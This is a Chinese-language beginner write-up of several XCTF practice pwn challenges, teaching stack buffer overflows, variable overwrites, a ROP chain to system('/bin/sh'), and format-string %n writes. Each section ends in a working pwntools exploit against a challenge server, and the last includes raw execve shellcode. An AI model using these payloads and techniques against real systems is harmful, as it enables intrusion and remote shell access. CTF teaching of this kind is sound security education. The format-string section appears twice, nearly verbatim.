pwn入门题目,做题之前先说几个常用的工具(大佬总不至于跑来找这个题的wp吧 手动狗头

  • 工具篇

    • IDA Pro
      IDA是一款优秀的静态反汇编工具,好处就不多说了,什么一键F5、字符串搜索、函数位置查找等等,好用的不得了,下载可以去看雪论坛找。

    • pwntools
      pwntools官网是这样说的:pwntools是一个CTF框架和开发库。它是用Python编写的,旨在快速构建原型和开发,并使利用编写尽可能简单。
      实际上就是用来帮助写exp的python库,用这个可以快速利用漏洞达到目的

    • peda
      这个就基本算不上是一个工具了,它是gdb(Linux下的动态调试工具)的插件,功能挺强大的
      安装:

      git clone https://github.com/longld/peda.git ~/peda
      echo "source ~/peda/peda.py" >> ~/.gdbinit
      echo "DONE! debug your program with gdb and enjoy"
      
  • 正篇

首先下载附件拿到一个文件,直接扔到Linux中查一下(checksec在下载好pwntools后就有)

从图上可以看出它是一个64位程序,开了NX防护(堆栈不可执行)。唔,好的,基本信息咱们已经知道了,然后可以试着执行一下这个程序(Linux下):

emmm…啥玩儿,这就结束了???(╯‵□′)╯︵┴─┴

好吧,师傅们可以走了,后续用nc(Linux自带)连接一下就行,命令:

nc   ip地址   ip端口
  • 具体分析
    好吧,不具体分析一下程序总感觉欠缺一些东西。
    我们用IDA打开程序来看看程序的运行过程,打开前checksec一下看看程序的运行环境和保护机制

    64位程序,开了NX保护(程序堆栈中的数据不可执行)
    用IDA打开程序后,我们在左侧的函数窗口找到main函数,点击进入,直接F5查看伪代码(类c代码,比汇编代码相对好理解一些)

    需要注意的地方为第四行
    system(“/bin/sh”);

在Linux中,这一句的意思为打开一个终端窗口(可以当成windows下的cmd去理解),在他其中我们可以做我们想做的事情
即程序在打印一句话之后便将服务器的权限直接的交给了我们

拿到程序后,我们首先checksec一下

在这里插入图片描述

可以看到是64位程序,好的是这次只开了NX(堆栈不可执行),ok,我们跑一下程序看看

在这里插入图片描述

可以看到它是一个输入,然后就啥都没有了emmmm….好吧,咱们继续放到IDA里面看看

在这里插入图片描述

通过观察我们可以发现当dword_60106C这个变量的值为1853186401时,程序会进入一个函数中,而这个函数的作用则是抓取flag。

好了,很明显了,接下来的问题时我们如何去改变这个变量的值。通过双击查看我们可以知道dword_60106Cunk_601068这俩变量都在.bss段,并且dword_60106C就在离unk_601068四个位置的地方,而凑巧的时unk_601068时可以被控制的,它是由我们输入的,而输入点给了我们10个长度的输入权限,那正好,我们可以借此覆盖掉dword_60106C使它变成我们需要的数值

在这里插入图片描述
ok了,分析结束,很明显只要我们输出超长数据即可

EXP:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

#context.log_level = 'debug'

r = remote('111.198.29.45', 42136)

payload = 'A' * 4 + p64(1853186401)

r.recvuntil("lets get helloworld for bof\n")
r.sendline(payload)
print r.recv()

我们瞅一下运行结果

在这里插入图片描述

按常规,我们先checksec一下,收集一下信息

64位程序,开了NX,没啥说的,还在接受范围内,运行一下试试

唔,没啥东西,继续IDA吧。(╯‵□′)╯︵┴─┴

emmm,主函数倒是挺简单的,就一行打印,一行输入

但…不知你们有米有发现有个很奇怪的函数名,我们悄悄的瞅一瞅

果然不对劲,首先它的名字中有个system(手动加粗),这个是什么东西嘞,简单的来说,它拥有系统的最高权限,啥都能干,而它和“/bin/sh”连在一起则可以给我提供一个类似cmd的东西,我们可以用它来进行查看/修改/操作等动作。
那么总结一下,现在我们已经有了一个可以获取系统权限的函数,利用它我们可以手动去查找flag
那么问题来了,我们应该如何让程序去执行这个函数呢?

重点来了(敲黑板!!!)

我们观察一下read函数读取时读取了多少东西(字符?字节?以后填坑)

发现了么?发现了么?发现了么?(重要的事情说三遍)
buf这个字符数组的长度只有0x80,而我们可以输入0x200的东西,哇,是不是很刺激,我们的输入不但可以填充满真个数组还能覆盖掉数组外面的东西,那这样又能干什么呢?
我们先看一下数组后面紧跟的是什么东西,继续在栈中看

当属于数组的空间结束后(到0x0000000000000000时),首先,有一个s,8个字节长度,其次是一个r,重点就在这,r中存放着的就是返回地址。即当read函数结束后,程序下一步要到的地方。

那这样岂不是很美滋滋?我们可以输入好长好长的数据,完全可以覆盖这个r。ok了,分析完毕

EXP:

1
2
3
4
5
6
7
8
9
10
from pwn import * 

r = remote("111.198.29.45", 34012)

payload = 'A' * 0x80 + 'a' * 0x8 + p64(0x00400596)

r.recvuntil("Hello, World\n")
r.sendline(payload)

r.interactive()

看看结果?

  • [程序链接](https://adworld.xctf.org.cn/media/task/attachments/24ac28ef281b4b6caab44d6d52b17491)
    

在这里插入图片描述

程序同上次一样开了NX(堆栈不可执行)和CANNARY(栈保护)。接下来我们首先运行一遍程序

在这里插入图片描述

一个没什么意义的程序…注意他的输入的有两处
ok,接下来我们用IDA直接看代码

在这里插入图片描述

很明显的可以看到当输入的年份为1926时可以得到flag。但是有个问题,在年份输入后它会有个判断当年份为1926时会报错并跳出…
emmm。。。。。。这怎么搞

全文看一下我们可以发现除了存放年份的v5变量以外,他还有一个v4和v6,那么他们是否有什么关联呢,我们双击点进去看一下

在这里插入图片描述

ok,似不似很有意思?这意味着什么呢?这意味着我们可以用v4(Name)来覆盖v5(Birth)。
哎,发现了么,这两个东西刚好就是咱们需要输入的东西,所以这道题到这里就结束了,一个简单的变量覆盖

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

r = remote("111.198.29.45", 58805)

payload = 'a' * (0x20 - 0x18) + p64(1926)

r.recvuntil("What's Your Birth?\n")
r.sendline("2000")

r.recvuntil("What's Your Name?\n")
r.sendline(payload)

print r.recv()
print r.recv()

代码效果如下咯:

在这里插入图片描述

ok,完成

  • [程序链接](https://adworld.xctf.org.cn/media/task/attachments/1ab77c073b4f4524b73e086d063f884e)
    

在这里插入图片描述

可以看到题上已经有提示了(ROP)
我们看一下程序的保护状态和它的运行情况

在这里插入图片描述

开了NX,问题不大。运行可以发现有一个输入点
放IDA里看看

在这里插入图片描述

在这里插入图片描述

在字符串窗口可以发现有 /bin/sh,并且左边的函数窗口可以看到在 .plt 段有system 函数
这就很舒服了呀,再结合一下题目给的提示,构造ROP链就行

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
#context.log_level = 'debug'

r = remote("111.198.29.45", 49673)

bin_sh = 0x0804A024
system = 0x08048320


r.recvuntil("Input:\n")
payload = 'a'*(0x88) + 'a' * 4 + p32(system) + p32(0) + p32(bin_sh)
r.send(payload)
r.interactive()

效果如下:
在这里插入图片描述

写payload的时候要注意一个问题:

在这里插入图片描述

所以在函数地址后面首先要去覆盖它的返回地址

  • [程序链接](https://adworld.xctf.org.cn/media/task/attachments/e41a0f684d0e497f87bb309f91737e4d)
    

按照惯例,拿到程序后先扔到Linux下查一下基本信息

在这里插入图片描述

32位程序,开了NX(堆栈不可执行)以及CANNARY(栈保护)
貌似有一丝丝头疼嗷,咱们运行一下,看看它的程序逻辑

在这里插入图片描述

唔,是一个留言板,可以输入的地方有两处,一处是名字,一处是留言内容。ok,可以扔进IDA分析了。
F5后直接看程序伪代码

在这里插入图片描述

很明显,我们需要让pwnme这个变量的值等于8,然后便可以拿到flag文件中的东西,这个时候
我们需要注意到它的上面有一行代码

    printf(&s);

不知道有没有同学感觉很别扭,我们学c语言时老师一般教给我们的是这样的:

    printf("%s", s);

哎,他这个和老师教的不一样哎,这样可以吗?
答案是可以的,这样写是可以运行的,但同时这样写也是不允许的,为什么呢,因为这是不安全的,他涉及到格式化字符串漏洞:
一般的printf是这个样子的

    printf("格式化字符串",参数...)

它的参数是由格式化说明符与字符串组成的,通过格式化说明符来规定参数用什么格式输出内容。
格式化说明符有这些:

%d - 十进制 - 输出十进制整数
%s - 字符串 - 从内存中读取字符串
%x - 十六进制 - 输出十六进制数
%c - 字符 - 输出字符
%p - 指针 - 指针地址
%n - 到目前为止所写的字符数

我们需要注意的是%n这个格式化字符串,它的功能是将%n之前打印出来的字符个数,赋值给一个变量,例如这样:

在这里插入图片描述

一个很神奇的结果出现在我们眼前,变量a的值被改变了。
由此,我们想到是否我们可以改变上面程序中的pwnme的值,答案时肯定的,利用判断pwnme的值的上一行的代码,我们完全可以做到这一点。
所以说,现在我们要做的有这么几点:
1、我们需要将pwnme的地址输入到s(也就是message)中去
2、在合适的位置上加一个%n,使其与我们输入的地址对应从而造成漏洞利用
所以接下来的问题变成了如何让他们对应起来

首先,我们得查一下我们输入进去的数据在栈中偏移了多少,知道偏移量后我们才能将其对应起来。

继续运行一遍程序,我们在massage处输入:

AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p

因为下面有个printf(%s),所以我们输入的内容自然会在下面被显示出来。我们看一下结果:

在这里插入图片描述

0x41414141便是我们输入的”AAAA”,数一下便知道偏移是10

  • EXP:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    from pwn import *

    #r = precess("./CGfsb")
    r = remote('111.198.29.45', 46635)

    pwnme_addr = 0x0804A068 #pwnme地址在伪代码中双击就能查看哦
    payload = p32(pwnme_addr) + 'aaaa' + '%10$n' #pwnme的地址需要经过32位编码转换,是四位,而pwnme需要等于8,所以‘aaaa’起着凑字数的作用

    r.recvuntil("please tell me your name:\n")
    r.sendline('BurYiA')

    r.recvuntil("leave your message please:\n")
    r.sendline(payload)

    r.interactive()
    代码效果如下:

在这里插入图片描述

ok,按照惯例,拿到程序后先扔到Linux下查一下基本信息

在这里插入图片描述

32位程序,开了NX(堆栈不可执行)以及CANNARY(栈保护)
貌似有一丝丝头疼嗷,咱们运行一下,看看它的程序逻辑

在这里插入图片描述

唔,是一个留言板,可以输入的地方有两处,一处是名字,一处是留言内容。ok,可以扔进IDA分析了。
F5后直接看程序伪代码

在这里插入图片描述

很明显,我们需要让pwnme这个变量的值等于8,然后便可以拿到flag文件中的东西,这个时候
我们需要注意到它的上面有一行代码

    printf(&s);

不知道有没有同学感觉很别扭,我们学c语言时老师一般教给我们的是这样的:

    printf("%s", s);

哎,他这个和老师教的不一样哎,这样可以吗?
答案是可以的,这样写是可以运行的,但同时这样写也是不允许的,为什么呢,因为这是不安全的,他涉及到格式化字符串漏洞:
一般的printf是这个样子的

    printf("格式化字符串",参数...)

它的参数是由格式化说明符与字符串组成的,通过格式化说明符来规定参数用什么格式输出内容。
格式化说明符有这些:

%d - 十进制 - 输出十进制整数
%s - 字符串 - 从内存中读取字符串
%x - 十六进制 - 输出十六进制数
%c - 字符 - 输出字符
%p - 指针 - 指针地址
%n - 到目前为止所写的字符数

我们需要注意的是%n这个格式化字符串,它的功能是将%n之前打印出来的字符个数,赋值给一个变量,例如这样:

在这里插入图片描述

一个很神奇的结果出现在我们眼前,变量a的值被改变了。
由此,我们想到是否我们可以改变上面程序中的pwnme的值,答案时肯定的,利用判断pwnme的值的上一行的代码,我们完全可以做到这一点。
所以说,现在我们要做的有这么几点:
1、我们需要将pwnme的地址输入到s(也就是message)中去
2、在合适的位置上加一个%n,使其与我们输入的地址对应从而造成漏洞利用
所以接下来的问题变成了如何让他们对应起来

首先,我们得查一下我们输入进去的数据在栈中偏移了多少,知道偏移量后我们才能将其对应起来。

继续运行一遍程序,我们在massage处输入:

AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p

因为下面有个printf(%s),所以我们输入的内容自然会在下面被显示出来。我们看一下结果:

在这里插入图片描述

0x41414141便是输入其中的”AAAA”,数一下便知道偏移是10

  • EXP
    有了以上东西我们就可以着手开始写exp了
    具体exp如下:

    from pwn import *

    #r = precess(“./CGfsb”)
    r = remote(‘111.198.29.45’, 46635)

    pwnme_addr = 0x0804A068 #pwnme地址在伪代码中双击就能查看哦
    payload = p32(pwnme_addr) + ‘aaaa’ + ‘%10$n’ #pwnme的地址需要经过32位编码转换,是四位,而pwnme需要等于8,所以‘aaaa’起着凑字数的作用

    r.recvuntil(“please tell me your name:\n”)
    r.sendline(‘BurYiA’)

    r.recvuntil(“leave your message please:\n”)
    r.sendline(payload)

    r.interactive()

代码效果如下:

在这里插入图片描述

完成

首先看一下程序的保护机制

在这里插入图片描述

程序开了NX(堆栈不可执行)、CANARY(栈保护)和PELRO
程序太长了,我们就不运行了,在IDA中我们查一下有没有什么明显的地方

在这里插入图片描述

在这个函数里面 我们发现了一个格式化字符串漏洞,在他的上面有两个输入点,一个是“%ld”格式,一个是“%s”格式
我们在往下看,紧接着的函数里有这么一个东西

在这里插入图片描述

代码执行,条件是a1这个数组里面的第一个数字等于第二个数字
我们往回追,看他这个最初是什么

在这里插入图片描述

可以看到程序给出了这两个数,一个是68, 一个是85,并且可以看到程序会将数组的地址打印出来的,那么,利用这些信息我们就可以通过格式化字符串漏洞使数组的前两个数相等,需要注意的是

在这里插入图片描述

程序的格式化字符串漏洞上面有两个输入点,漏洞利用在第二个输入点,那我们可以在第一个输入数组的地址,然后在第二个输入点进行利用
效果如下

在这里插入图片描述

  • EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
#context.log_level = 'debug'

r = remote("111.198.29.45", 47892)
#r = process("./string")

r.recvuntil("secret[0] is ")
addr = int(r.recvuntil("\n")[:-1], 16)
print addr

r.recvuntil("What should your character's name be:\n")
r.sendline("aaa")

r.recvuntil("So, where you will go?east or up?:\n")
r.sendline("east")

r.recvuntil("go into there(1), or leave(0)?:\n")
r.sendline("1")

r.recvuntil("'Give me an address'\n")
r.sendline(str(addr))

r.recvuntil("And, you wish is:\n")
payload = 'A' * 85 + "%7$n"
r.sendline(payload)

#shellcode = asm(shellcraft.sh())
# https://www.exploit-db.com/
# http://shell-storm.org/shellcode/
# 两个寻找shellcode的网址
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
r.sendline(shellcode)

r.interactive()

over